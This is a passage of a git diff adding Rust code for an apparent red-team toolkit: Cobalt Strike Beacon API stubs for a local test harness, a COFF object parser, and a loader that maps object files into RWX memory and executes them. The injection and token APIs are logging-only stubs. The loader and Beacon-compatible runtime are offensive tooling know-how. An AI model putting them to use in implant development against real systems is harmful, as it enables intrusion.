hook that emits +// DAP `output` events to VS Code's Debug Console. Without this +// route, the BOF's `print!` writes would corrupt the DAP wire +// protocol (entc-debug's stdout IS the DAP channel). +// +// `set_output_hook` / `clear_output_hook` are the public hook +// API. The hook is held in a Mutex so callers from the BOF thread +// don't race with the DAP server thread installing/replacing it. +// +// EntropyKit source can't pass varargs today (you'd use `str.format` +// to build the final string first), so the stub treats `fmt` as a +// pre-formatted literal and emits it raw. +// ============================================================================ + +/// Output category for the hook callback. `Printf` is the `[BOF]` +/// stream; `Output` is the `[BOF output]` stream (real Beacon sends +/// these to different operator channels - log vs. data). +#[derive(Debug, Clone, Copy)] +pub enum OutputCategory { Printf, Output } + +type OutputHook = Box; + +/// One installable global output hook. When `None`, BeaconPrintf / +/// BeaconOutput fall back to stdout writes (bof-runner default). +/// When `Some`, every output flows through the closure instead - +/// entc-debug installs one that fans out to DAP events. +static OUTPUT_HOOK: Mutex> = Mutex::new(None); + +/// Install a custom output hook. The closure receives a category +/// and a `&str` for every BeaconPrintf / BeaconOutput call. Pass +/// `None` to revert to stdout default. +/// +/// Thread-safety: the BOF thread (which calls BeaconPrintf) and +/// the DAP server thread (which installs the hook) hit the same +/// Mutex; contention is minimal because the hook is set once at +/// launch and never replaced mid-session. +pub fn set_output_hook(f: F) +where F: Fn(OutputCategory, &str) + Send + Sync + 'static +{ + *OUTPUT_HOOK.lock().unwrap() = Some(Box::new(f)); +} + +/// Remove the hook. After this, BeaconPrintf / BeaconOutput resume +/// writing to stdout. `bof-runner` doesn't bother (the harness +/// exits after one run); `entc-debug` calls this on session +/// teardown so a subsequent session doesn't see stale state. +#[allow(dead_code)] +pub fn clear_output_hook() { + *OUTPUT_HOOK.lock().unwrap() = None; +} + +/// Emit one chunk through the active hook (or the default stdout +/// sink). Called from both Beacon API stubs and exposed to the +/// harness so test infrastructure can route diagnostic output +/// through the same pipe. +fn emit_output(cat: OutputCategory, text: &str) { + if let Some(ref hook) = *OUTPUT_HOOK.lock().unwrap() { + hook(cat, text); + return; + } + // Default sink - what bof-runner shows. + match cat { + OutputCategory::Printf => { + print!("[BOF] {text}"); + let _ = std::io::stdout().flush(); + } + OutputCategory::Output => { + println!("[BOF output] {text}"); + } + } +} + +pub unsafe extern "system" fn BeaconPrintf(_kind: i32, fmt: *const u8) { + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + let bytes = std::slice::from_raw_parts(fmt, n); + let s = String::from_utf8_lossy(bytes); + emit_output(OutputCategory::Printf, &s); +} + +pub unsafe extern "system" fn BeaconOutput(_kind: i32, data: *const u8, len: i32) { + if data.is_null() || len <= 0 { return; } + let slice = std::slice::from_raw_parts(data, len as usize); + let s = String::from_utf8_lossy(slice); + emit_output(OutputCategory::Output, &s); +} + +// ============================================================================ +// Data parsing: BeaconDataParse / Int / Short / Length / Extract. +// +// The C struct (and our `datap` in stdlib/bof.etpy): +// { char* original; char* buffer; int length; int size; } +// 24 bytes on x64. We index by raw byte offsets so the layout stays +// in sync with the source-level declaration without a Rust mirror. +// +// Format match: Aggressor's `bof_pack` packs variable-length items +// as `[u32 length LE][bytes]`, scalars (`i`, `s`) as BIG-endian. +// Real Beacon does `ntohl()` on the int read, so our stub does too. +// The harness CLI's `--zarg`/`--iarg`/`--sarg` flags pack on the +// same shape so end-to-end tests pass through symmetrically. +// ============================================================================ + +const OFF_ORIGINAL: usize = 0; +const OFF_BUFFER: usize = 8; +const OFF_LENGTH: usize = 16; +const OFF_SIZE: usize = 20; + +unsafe fn dp_buffer(p: *mut u8) -> *mut u8 { + *(p.add(OFF_BUFFER) as *mut *mut u8) +} +unsafe fn dp_set_buffer(p: *mut u8, v: *mut u8) { + *(p.add(OFF_BUFFER) as *mut *mut u8) = v; +} +unsafe fn dp_length(p: *mut u8) -> i32 { *(p.add(OFF_LENGTH) as *mut i32) } +unsafe fn dp_set_length(p: *mut u8, v: i32) { *(p.add(OFF_LENGTH) as *mut i32) = v; } + +pub unsafe extern "system" fn BeaconDataParse(parser: *mut u8, buffer: *mut u8, size: i32) { + if parser.is_null() { return; } + *(parser.add(OFF_ORIGINAL) as *mut *mut u8) = buffer; + *(parser.add(OFF_BUFFER) as *mut *mut u8) = buffer; + *(parser.add(OFF_LENGTH) as *mut i32) = size; + *(parser.add(OFF_SIZE) as *mut i32) = size; +} + +pub unsafe extern "system" fn BeaconDataInt(parser: *mut u8) -> i32 { + if parser.is_null() { return 0; } + let len = dp_length(parser); + if len < 4 { return 0; } + let buf = dp_buffer(parser); + let mut bytes = [0u8; 4]; + std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 4); + dp_set_buffer(parser, buf.add(4)); + dp_set_length(parser, len - 4); + // Beacon uses network byte order for ints - matches `bof_pack "i"`. + i32::from_be_bytes(bytes) +} + +pub unsafe extern "system" fn BeaconDataShort(parser: *mut u8) -> i16 { + if parser.is_null() { return 0; } + let len = dp_length(parser); + if len < 2 { return 0; } + let buf = dp_buffer(parser); + let mut bytes = [0u8; 2]; + std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 2); + dp_set_buffer(parser, buf.add(2)); + dp_set_length(parser, len - 2); + i16::from_be_bytes(bytes) +} + +pub unsafe extern "system" fn BeaconDataLength(parser: *mut u8) -> i32 { + if parser.is_null() { return 0; } + dp_length(parser) +} + +pub unsafe extern "system" fn BeaconDataExtract(parser: *mut u8, size: *mut i32) -> *mut u8 { + // Variable-length item: `[u32 length LE][bytes of that length]`. + // The returned pointer is INTO the original args buffer - caller + // does not free. + if parser.is_null() { return std::ptr::null_mut(); } + let len = dp_length(parser); + if len < 4 { return std::ptr::null_mut(); } + let buf = dp_buffer(parser); + let mut hdr = [0u8; 4]; + std::ptr::copy_nonoverlapping(buf, hdr.as_mut_ptr(), 4); + let item_len = u32::from_le_bytes(hdr) as i32; + if len - 4 < item_len { + return std::ptr::null_mut(); + } + let item_start = buf.add(4); + dp_set_buffer(parser, item_start.add(item_len as usize)); + dp_set_length(parser, len - 4 - item_len); + if !size.is_null() { *size = item_len; } + item_start +} + +// ============================================================================ +// Format API: BeaconFormat* - build a buffer in chunks, emit at once. +// +// Each `formatp` owns a heap-allocated `Vec` indirected through +// the struct's `original` pointer. `Alloc` puts the Vec on the heap +// and stashes the pointer + length; `Free` releases it. We track the +// allocations through `FORMAT_BUFS` so we can deallocate properly +// even if a BOF leaks its `formatp` (real Beacon would just let the +// process exit reclaim it). +// ============================================================================ + +const FP_OFF_ORIGINAL: usize = 0; +const FP_OFF_BUFFER: usize = 8; +const FP_OFF_LENGTH: usize = 16; +const FP_OFF_SIZE: usize = 20; + +static FORMAT_BUFS: Mutex>> = Mutex::new(None); +// Maps formatp-pointer to (original_ptr_as_usize, capacity). Used so +// `BeaconFormatFree` can convert the original pointer back into a +// `Vec` for deallocation without leaking. + +fn track_format_alloc(fp: usize, original: usize, capacity: usize) { + let mut g = FORMAT_BUFS.lock().unwrap(); + if g.is_none() { *g = Some(HashMap::new()); } + g.as_mut().unwrap().insert(fp, (original, capacity)); +} +fn forget_format_alloc(fp: usize) -> Option<(usize, usize)> { + let mut g = FORMAT_BUFS.lock().unwrap(); + g.as_mut().and_then(|m| m.remove(&fp)) +} + +pub unsafe extern "system" fn BeaconFormatAlloc(format: *mut u8, maxsz: i32) { + if format.is_null() || maxsz <= 0 { return; } + let cap = maxsz as usize; + let mut v: Vec = Vec::with_capacity(cap); + let p = v.as_mut_ptr(); + std::mem::forget(v); // keep the allocation alive; FORMAT_BUFS owns it + *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = p; + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = p; + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; + *(format.add(FP_OFF_SIZE) as *mut i32) = maxsz; + track_format_alloc(format as usize, p as usize, cap); +} + +pub unsafe extern "system" fn BeaconFormatReset(format: *mut u8) { + if format.is_null() { return; } + let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = original; + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; +} + +pub unsafe extern "system" fn BeaconFormatFree(format: *mut u8) { + if format.is_null() { return; } + if let Some((ptr, cap)) = forget_format_alloc(format as usize) { + // Reconstruct + drop the Vec to actually deallocate. + let _v: Vec = Vec::from_raw_parts(ptr as *mut u8, 0, cap); + } + *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = std::ptr::null_mut(); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = std::ptr::null_mut(); + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; + *(format.add(FP_OFF_SIZE) as *mut i32) = 0; +} + +unsafe fn format_append_bytes(format: *mut u8, data: *const u8, n: usize) { + if format.is_null() || data.is_null() || n == 0 { return; } + let cur = *(format.add(FP_OFF_BUFFER) as *mut *mut u8); + let len = *(format.add(FP_OFF_LENGTH) as *mut i32) as usize; + let cap = *(format.add(FP_OFF_SIZE) as *mut i32) as usize; + let writable = cap.saturating_sub(len); + let to_copy = n.min(writable); + if to_copy > 0 { + std::ptr::copy_nonoverlapping(data, cur, to_copy); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = cur.add(to_copy); + *(format.add(FP_OFF_LENGTH) as *mut i32) = (len + to_copy) as i32; + } +} + +pub unsafe extern "system" fn BeaconFormatAppend(format: *mut u8, text: *const u8, len: i32) { + if len <= 0 { return; } + format_append_bytes(format, text, len as usize); +} + +pub unsafe extern "system" fn BeaconFormatPrintf(format: *mut u8, fmt: *const u8) { + // EntropyKit source-level varargs don't exist; the BOF passes a + // pre-formatted string. Treat `fmt` as a literal C string and + // append its bytes (no NUL). + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + format_append_bytes(format, fmt, n); +} + +pub unsafe extern "system" fn BeaconFormatToString(format: *mut u8, size: *mut i32) -> *mut u8 { + if format.is_null() { return std::ptr::null_mut(); } + let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8); + let len = *(format.add(FP_OFF_LENGTH) as *mut i32); + if !size.is_null() { *size = len; } + original +} + +pub unsafe extern "system" fn BeaconFormatInt(format: *mut u8, value: i32) { + // Big-endian to match Beacon's wire convention (`BeaconDataInt` + // does `ntohl`). Lets a BOF round-trip an int through Format / + // Data with no byte-order surprise. + let bytes = value.to_be_bytes(); + format_append_bytes(format, bytes.as_ptr(), 4); +} + +// ============================================================================ +// Token: BeaconUseToken, BeaconRevertToken, BeaconIsAdmin. +// +// Real Beacon swaps the thread's token via `SetThreadToken`. The +// harness just tracks "did the BOF ask to use a token?" so tests +// can assert on it; no actual impersonation happens locally. +// ============================================================================ + +static CURRENT_TOKEN: Mutex = Mutex::new(0); + +pub unsafe extern "system" fn BeaconUseToken(token: *mut u8) -> i32 { + *CURRENT_TOKEN.lock().unwrap() = token as usize; + eprintln!("[stub] BeaconUseToken(0x{:x})", token as usize); + 1 // success +} + +pub unsafe extern "system" fn BeaconRevertToken() { + *CURRENT_TOKEN.lock().unwrap() = 0; + eprintln!("[stub] BeaconRevertToken()"); +} + +pub unsafe extern "system" fn BeaconIsAdmin() -> i32 { + eprintln!("[stub] BeaconIsAdmin() -> false"); + 0 // not admin in the harness; flip to 1 to simulate elevated runs +} + +// ============================================================================ +// Spawn / inject - log + no-op. Replicating real injection in a test +// harness is both pointless and dangerous; the operator gets clear +// stderr output describing what their BOF would have done. +// ============================================================================ + +pub unsafe extern "system" fn BeaconGetSpawnTo(x86: i32, buffer: *mut u8, length: i32) { + let default = if x86 != 0 { + b"%windir%\\syswow64\\rundll32.exe\0".as_ref() + } else { + b"%windir%\\sysnative\\rundll32.exe\0".as_ref() + }; + if buffer.is_null() || length <= 0 { return; } + let n = (length as usize).min(default.len()); + std::ptr::copy_nonoverlapping(default.as_ptr(), buffer, n); + eprintln!("[stub] BeaconGetSpawnTo(x86={}) -> {}", + x86 != 0, + String::from_utf8_lossy(&default[..n.saturating_sub(1)])); +} + +pub unsafe extern "system" fn BeaconInjectProcess( + process_handle: *mut u8, pid: i32, + _payload: *const u8, p_length: i32, p_offset: i32, + _arg: *const u8, a_length: i32, +) { + eprintln!( + "[stub] BeaconInjectProcess(handle=0x{:x}, pid={}, payload_len={}, payload_off={}, arg_len={})", + process_handle as usize, pid, p_length, p_offset, a_length, + ); +} + +pub unsafe extern "system" fn BeaconInjectTemporaryProcess( + process_info: *mut u8, + _payload: *const u8, p_length: i32, p_offset: i32, + _arg: *const u8, a_length: i32, +) { + eprintln!( + "[stub] BeaconInjectTemporaryProcess(pi=0x{:x}, payload_len={}, payload_off={}, arg_len={})", + process_info as usize, p_length, p_offset, a_length, + ); +} + +pub unsafe extern "system" fn BeaconCleanupProcess(process_info: *mut u8) { + eprintln!("[stub] BeaconCleanupProcess(pi=0x{:x})", process_info as usize); +} + +pub unsafe extern "system" fn BeaconSpawnTemporaryProcess( + x86: i32, ignore_token: i32, + _si: *mut u8, _pi: *mut u8, +) -> i32 { + eprintln!("[stub] BeaconSpawnTemporaryProcess(x86={}, ignore_token={}) -> false", + x86 != 0, ignore_token != 0); + 0 +} + +// ============================================================================ +// Utility: toWideChar. +// +// ASCII to UTF-16. NUL-terminates the destination if there's room. +// Returns 1 on success, 0 on bad input. Real Beacon uses Win32's +// `MultiByteToWideChar`; for ASCII-only input the byte-by-byte +// extension matches it exactly. +// ============================================================================ + +pub unsafe extern "system" fn toWideChar(src: *const u8, dst: *mut u16, max: i32) -> i32 { + if src.is_null() || dst.is_null() || max <= 0 { return 0; } + let mut i = 0usize; + let max = max as usize; + while i + 1 < max { + let b = *src.add(i); + if b == 0 { break; } + *dst.add(i) = b as u16; + i += 1; + } + *dst.add(i) = 0; + 1 +} + +// ============================================================================ +// Session KV store (CS 4.9+). +// ============================================================================ + +pub unsafe extern "system" fn BeaconAddValue(key: *const u8, ptr: *mut u8) -> i32 { + let Some(k) = cstr_to_string(key) else { return 0; }; + kv_with(|m| { m.insert(k, ptr as usize); }); + 1 +} + +pub unsafe extern "system" fn BeaconGetValue(key: *const u8) -> *mut u8 { + let Some(k) = cstr_to_string(key) else { return std::ptr::null_mut(); }; + kv_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8 +} + +pub unsafe extern "system" fn BeaconRemoveValue(key: *const u8) -> i32 { + let Some(k) = cstr_to_string(key) else { return 0; }; + kv_with(|m| if m.remove(&k).is_some() { 1 } else { 0 }) +} + +// ============================================================================ +// BeaconInformation (CS 4.9+) - fill an opaque BEACON_INFO block. +// +// The harness writes a fixed-shape blob: 4 bytes BOF mode marker, +// 4 bytes harness pid, 8 bytes sleep_ms, rest zeroed. The user code +// reads specific offsets via casts (until we ship a typed wrapper). +// ============================================================================ + +pub unsafe extern "system" fn BeaconInformation(info: *mut u8) -> i32 { + if info.is_null() { return 0; } + // Zero the whole 256-byte block first. + std::ptr::write_bytes(info, 0, 256); + // Slot 0..4: signature 'EKBF' (EntropyKit BOF) so callers can + // tell they're running inside the local harness. + *(info as *mut u32) = u32::from_le_bytes(*b"EKBF"); + // Slot 4..8: pid. + *(info.add(4) as *mut u32) = std::process::id(); + // Slot 8..16: a fake sleep of 0 (the harness doesn't loop). + *(info.add(8) as *mut u64) = 0; + 1 +} + +// ============================================================================ +// Error reporting (CS 4.10+). +// ============================================================================ + +pub unsafe extern "system" fn BeaconIsErrorMessage(kind: i32, fmt: *const u8) { + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + let bytes = std::slice::from_raw_parts(fmt, n); + let s = String::from_utf8_lossy(bytes); + eprintln!("[BOF error type={kind}] {s}"); +} + +// ============================================================================ +// Custom user data (CS 4.10+). +// ============================================================================ + +static CUSTOM_USER_DATA: Mutex = Mutex::new(0); + +/// Test hook for the harness to seed user data before running the +/// BOF. Not exported to BOFs - they call `BeaconGetCustomUserData` +/// instead. +pub fn set_custom_user_data(p: usize) { + *CUSTOM_USER_DATA.lock().unwrap() = p; +} + +pub unsafe extern "system" fn BeaconGetCustomUserData() -> *mut u8 { + *CUSTOM_USER_DATA.lock().unwrap() as *mut u8 +} + +// ============================================================================ +// Data store APIs (CS 4.10+) - memory-safety primitives. Stubbed as +// no-ops with logging; the operator gets visibility into what the +// BOF is doing without crashing on missing symbols. +// ============================================================================ + +pub unsafe extern "system" fn BeaconDataStoreGetItem(index: i32) -> *mut u8 { + eprintln!("[stub] BeaconDataStoreGetItem({index}) -> null"); + std::ptr::null_mut() +} + +pub unsafe extern "system" fn BeaconDataStoreProtectItem(index: i32) { + eprintln!("[stub] BeaconDataStoreProtectItem({index})"); +} + +pub unsafe extern "system" fn BeaconDataStoreUnprotectItem(index: i32) { + eprintln!("[stub] BeaconDataStoreUnprotectItem({index})"); +} + +// ============================================================================ +// Beacon gate APIs (CS 4.10+) - syscall obfuscation. Stubbed. +// ============================================================================ + +pub unsafe extern "system" fn BeaconGate(vftable_p: *mut u8, indices_p: *mut u8) -> i32 { + eprintln!("[stub] BeaconGate(vftable=0x{:x}, indices=0x{:x}) -> false", + vftable_p as usize, indices_p as usize); + 0 +} + +pub unsafe extern "system" fn BeaconGateReturnValue() -> *mut u8 { + std::ptr::null_mut() +} + +pub unsafe extern "system" fn BeaconDisableBeaconGate() -> i32 { + eprintln!("[stub] BeaconDisableBeaconGate()"); + 1 +} + +pub unsafe extern "system" fn BeaconEnableBeaconGate() -> i32 { + eprintln!("[stub] BeaconEnableBeaconGate()"); + 1 +} + +// ============================================================================ +// Custom commands (CS 4.10+). +// ============================================================================ + +static COMMANDS: Mutex>> = Mutex::new(None); + +fn commands_with(f: impl FnOnce(&mut HashMap) -> R) -> R { + let mut g = COMMANDS.lock().unwrap(); + if g.is_none() { *g = Some(HashMap::new()); } + f(g.as_mut().unwrap()) +} + +pub unsafe extern "system" fn BeaconAddCommand(command: *const u8, function: *mut u8) -> i32 { + let Some(k) = cstr_to_string(command) else { return 0; }; + commands_with(|m| { m.insert(k, function as usize); }); + 1 +} + +pub unsafe extern "system" fn BeaconRemoveCommand(command: *const u8) -> i32 { + let Some(k) = cstr_to_string(command) else { return 0; }; + commands_with(|m| if m.remove(&k).is_some() { 1 } else { 0 }) +} + +pub unsafe extern "system" fn BeaconGetCommand(command: *const u8) -> *mut u8 { + let Some(k) = cstr_to_string(command) else { return std::ptr::null_mut(); }; + commands_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8 +} + +// ============================================================================ +// Dispatch table: name to function pointer. +// +// One entry per Beacon API the harness implements. The runner's +// `__imp_` slot resolver consults this table; unknown names +// fall through to "unresolved external" which fails fast. +// ============================================================================ + +pub fn resolve(name: &str) -> Option<*const u8> { + let f: *const u8 = match name { + // Output + "BeaconPrintf" => BeaconPrintf as *const u8, + "BeaconOutput" => BeaconOutput as *const u8, + + // Data parsing + "BeaconDataParse" => BeaconDataParse as *const u8, + "BeaconDataInt" => BeaconDataInt as *const u8, + "BeaconDataShort" => BeaconDataShort as *const u8, + "BeaconDataLength" => BeaconDataLength as *const u8, + "BeaconDataExtract" => BeaconDataExtract as *const u8, + + // Format + "BeaconFormatAlloc" => BeaconFormatAlloc as *const u8, + "BeaconFormatReset" => BeaconFormatReset as *const u8, + "BeaconFormatFree" => BeaconFormatFree as *const u8, + "BeaconFormatAppend" => BeaconFormatAppend as *const u8, + "BeaconFormatPrintf" => BeaconFormatPrintf as *const u8, + "BeaconFormatToString" => BeaconFormatToString as *const u8, + "BeaconFormatInt" => BeaconFormatInt as *const u8, + + // Token + "BeaconUseToken" => BeaconUseToken as *const u8, + "BeaconRevertToken" => BeaconRevertToken as *const u8, + "BeaconIsAdmin" => BeaconIsAdmin as *const u8, + + // Spawn / inject + "BeaconGetSpawnTo" => BeaconGetSpawnTo as *const u8, + "BeaconInjectProcess" => BeaconInjectProcess as *const u8, + "BeaconInjectTemporaryProcess" => BeaconInjectTemporaryProcess as *const u8, + "BeaconCleanupProcess" => BeaconCleanupProcess as *const u8, + "BeaconSpawnTemporaryProcess" => BeaconSpawnTemporaryProcess as *const u8, + + // Utility + "toWideChar" => toWideChar as *const u8, + + // KV store + "BeaconAddValue" => BeaconAddValue as *const u8, + "BeaconGetValue" => BeaconGetValue as *const u8, + "BeaconRemoveValue" => BeaconRemoveValue as *const u8, + + // Beacon info / errors / custom data + "BeaconInformation" => BeaconInformation as *const u8, + "BeaconIsErrorMessage" => BeaconIsErrorMessage as *const u8, + "BeaconGetCustomUserData" => BeaconGetCustomUserData as *const u8, + + // Data store + "BeaconDataStoreGetItem" => BeaconDataStoreGetItem as *const u8, + "BeaconDataStoreProtectItem" => BeaconDataStoreProtectItem as *const u8, + "BeaconDataStoreUnprotectItem" => BeaconDataStoreUnprotectItem as *const u8, + + // Beacon gate + "BeaconGate" => BeaconGate as *const u8, + "BeaconGateReturnValue" => BeaconGateReturnValue as *const u8, + "BeaconDisableBeaconGate" => BeaconDisableBeaconGate as *const u8, + "BeaconEnableBeaconGate" => BeaconEnableBeaconGate as *const u8, + + // Custom commands + "BeaconAddCommand" => BeaconAddCommand as *const u8, + "BeaconRemoveCommand" => BeaconRemoveCommand as *const u8, + "BeaconGetCommand" => BeaconGetCommand as *const u8, + + _ => return None, + }; + Some(f) +} diff --git a/tools/bof-loader/src/coff.rs b/tools/bof-loader/src/coff.rs new file mode 100644 index 0000000..d5a6039 --- /dev/null +++ b/tools/bof-loader/src/coff.rs @@ -0,0 +1,110 @@ +// SPDX-License-Identifier: Apache-2.0 +//! COFF object-file parser. +//! +//! Read-only parsing of a `.obj` produced by `entc compile +//! --type=bof|coff` (or any standard COFF AMD64 object). Reads only +//! what the loader needs: file header, section headers, symbol +//! table, string table, relocations. +//! +//! Stays alloc-light - the input bytes stay live for the whole load, +//! so the parser hands out slices into them rather than copying. + +// Microsoft COFF constants we care about, spelled out rather than +// pulled from windows-sys so the parser stays compatible with the +// emitter (`src/coff.rs` in the compiler crate uses the same values). + +pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; +pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; +pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; + +pub struct ParsedCoff<'a> { + pub bytes: &'a [u8], + pub n_sections: u16, + pub symtab_off: usize, + pub n_symbols: u32, + /// Cached string table starting at `symtab + 18 * n_symbols`. + /// First 4 bytes are the size (including the 4-byte size field). + pub strtab_off: usize, +} + +impl<'a> ParsedCoff<'a> { + pub fn parse(bytes: &'a [u8]) -> Result { + if bytes.len() < 20 { + return Err("file too small to be a COFF object".into()); + } + let machine = u16::from_le_bytes([bytes[0], bytes[1]]); + if machine != IMAGE_FILE_MACHINE_AMD64 { + return Err(format!( + "expected AMD64 machine (0x{:04x}), got 0x{machine:04x}", + IMAGE_FILE_MACHINE_AMD64 + )); + } + let n_sections = u16::from_le_bytes([bytes[2], bytes[3]]); + let symtab_off = u32::from_le_bytes([bytes[8], bytes[9], bytes[10], bytes[11]]) as usize; + let n_symbols = u32::from_le_bytes([bytes[12], bytes[13], bytes[14], bytes[15]]); + let strtab_off = symtab_off + 18 * n_symbols as usize; + Ok(Self { bytes, n_sections, symtab_off, n_symbols, strtab_off }) + } + + pub fn section(&self, i: u16) -> SectionInfo<'a> { + let base = 20 + 40 * i as usize; + let raw_size = u32::from_le_bytes(self.bytes[base+16..base+20].try_into().unwrap()); + let raw_off = u32::from_le_bytes(self.bytes[base+20..base+24].try_into().unwrap()); + let reloc_off = u32::from_le_bytes(self.bytes[base+24..base+28].try_into().unwrap()); + let n_relocs = u16::from_le_bytes(self.bytes[base+32..base+34].try_into().unwrap()); + let chars = u32::from_le_bytes(self.bytes[base+36..base+40].try_into().unwrap()); + let name = { + let raw = &self.bytes[base..base+8]; + let end = raw.iter().position(|&b| b == 0).unwrap_or(raw.len()); + std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string() + }; + SectionInfo { + name, + raw_size, + raw: if raw_off == 0 { &[] } else { + &self.bytes[raw_off as usize .. raw_off as usize + raw_size as usize] + }, + relocs: if reloc_off == 0 { &[] } else { + &self.bytes[reloc_off as usize .. reloc_off as usize + 10 * n_relocs as usize] + }, + characteristics: chars, + } + } + + pub fn symbol_name(&self, idx: u32) -> String { + let base = self.symtab_off + 18 * idx as usize; + let raw = &self.bytes[base..base+8]; + if raw[0] == 0 && raw[1] == 0 && raw[2] == 0 && raw[3] == 0 { + let off = u32::from_le_bytes(raw[4..8].try_into().unwrap()) as usize; + let start = self.strtab_off + off; + let end = self.bytes[start..].iter().position(|&b| b == 0) + .map(|n| start + n).unwrap_or(self.bytes.len()); + std::str::from_utf8(&self.bytes[start..end]).unwrap_or("?").to_string() + } else { + let end = raw.iter().position(|&b| b == 0).unwrap_or(8); + std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string() + } + } + + pub fn symbol_value(&self, idx: u32) -> u32 { + let base = self.symtab_off + 18 * idx as usize; + u32::from_le_bytes(self.bytes[base+8..base+12].try_into().unwrap()) + } + + /// 1-based section number, or 0 for undefined (external) symbols. + /// Stored as a signed 16-bit in the COFF spec - `IMAGE_SYM_UNDEFINED = 0`, + /// `IMAGE_SYM_ABSOLUTE = -1`, `IMAGE_SYM_DEBUG = -2`; we only care about + /// the >= 1 cases plus 0. + pub fn symbol_section(&self, idx: u32) -> i16 { + let base = self.symtab_off + 18 * idx as usize; + i16::from_le_bytes(self.bytes[base+12..base+14].try_into().unwrap()) + } +} + +pub struct SectionInfo<'a> { + pub name: String, + pub raw_size: u32, + pub raw: &'a [u8], + pub relocs: &'a [u8], + pub characteristics: u32, +} diff --git a/tools/bof-loader/src/lib.rs b/tools/bof-loader/src/lib.rs new file mode 100644 index 0000000..8921d74 --- /dev/null +++ b/tools/bof-loader/src/lib.rs @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: Apache-2.0 +//! bof-loader - shared in-process COFF loader for EntropyKit BOFs. +//! +//! Used by: +//! - `bof-runner` (CLI harness for fast iteration) +//! - `entc-debug` (VS Code DAP server, BOF mode) +//! +//! Both consumers need the same logic - parse a `.obj`, allocate +//! sections, resolve `__imp_*` slots (Beacon stubs + Win32 imports), +//! apply REL32 / ADDR64 relocations, expose the loaded artifact for +//! the caller to either execute (`bof-runner`) or instrument with +//! `int 3` planting (`entc-debug`). +//! +//! Public surface: +//! +//! - [`coff::ParsedCoff`] - parser for COFF object files. +//! - [`beacon`] - Beacon API stub dispatch table. +//! - [`args::parse_packed_args`] - bof_pack-format CLI args packer. +//! - [`load::load`] - end-to-end load: parse to map to resolve to relocate. +//! Returns a [`load::LoadedBof`] with section bases, `go` offset, +//! and the imp-slot region (kept live for the caller's lifetime). +//! +//! Windows-only - the loader needs `VirtualAlloc` + `LoadLibrary` + +//! `GetProcAddress`. On non-Windows, the crate builds but every load +//! call returns an "Windows-only" error so the consumers stay +//! cross-platform-buildable. + +#![allow(clippy::missing_safety_doc)] + +pub mod coff; + +#[cfg(windows)] +pub mod beacon; + +pub mod args; + +#[cfg(windows)] +pub mod load; + +#[cfg(not(windows))] +pub mod load { + pub struct LoadedBof; + pub fn load(_bytes: &[u8]) -> Result { + Err("bof-loader is Windows-only - it calls Win32 APIs to map RWX pages \ + and resolve __imp_* symbols.".into()) + } +} diff --git a/tools/bof-loader/src/load.rs b/tools/bof-loader/src/load.rs new file mode 100644 index 0000000..be82483 --- /dev/null +++ b/tools/bof-loader/src/load.rs @@ -0,0 +1,251 @@ +// SPDX-License-Identifier: Apache-2.0 +//! End-to-end COFF load. +//! +//! Given the bytes of a `.obj`, produce a [`LoadedBof`] that the +//! caller can execute (`bof-runner`) or instrument with `int 3` for +//! source-level debugging (`entc-debug`). +//! +//! The load pipeline: +//! +//! 1. Parse the COFF headers / symbol table / string table. +//! 2. VirtualAlloc each section's raw bytes into RWX memory. +//! `.bss` (raw_size > 0 but no raw bytes) gets a zero-filled +//! VirtualAlloc'd region. RWX everywhere matches what we use +//! for shellcode - pragmatic for a test loader; a production +//! Beacon-equivalent would split RX/R/RW per characteristic. +//! 3. Walk every symbol: +//! - Undefined external (`__imp_`): resolve via the +//! Beacon-API dispatch table, falling back to +//! `GetModuleHandle`/`LoadLibrary` + `GetProcAddress` for +//! `LIBRARY$Function` form. Store the resolved pointer in +//! a per-symbol slot inside a `PAGE_READWRITE` slot table. +//! - Defined section symbol: record runtime address (section +//! base + symbol's value). +//! Resolve `go` along the way - its offset is needed by the +//! caller to invoke the entry point. +//! 4. Apply every section's relocations using the unified +//! `sym_addr` table. + +use std::ptr; + +use windows_sys::Win32::Foundation::HMODULE; +use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA}; +use windows_sys::Win32::System::Memory::{ + VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, +}; + +use crate::beacon; +use crate::coff::{ParsedCoff, IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_REL32}; + +/// Result of loading a `.obj` into memory. +/// +/// All fields refer to live VirtualAlloc'd regions. The caller keeps +/// the `LoadedBof` value alive for as long as it wants to call into +/// the BOF - dropping it doesn't release the regions (we deliberately +/// leak them; the harness exits after one run, and the debugger +/// process exits after a session, so explicit teardown isn't worth +/// the complexity). +pub struct LoadedBof { + /// Runtime base address of the `.text` section. Add `go_offset` + /// for the entry function's address. + pub text_base: usize, + pub text_size: usize, + /// Offset of `go` within `.text`. `text_base + go_offset` is the + /// address to transmute and call as `extern "system" fn(*const u8, i32)`. + pub go_offset: u32, + /// Per-section runtime bases (1-indexed; element 0 is unused so + /// COFF's 1-based section numbers map directly). + pub section_bases: Vec, + /// Address of the 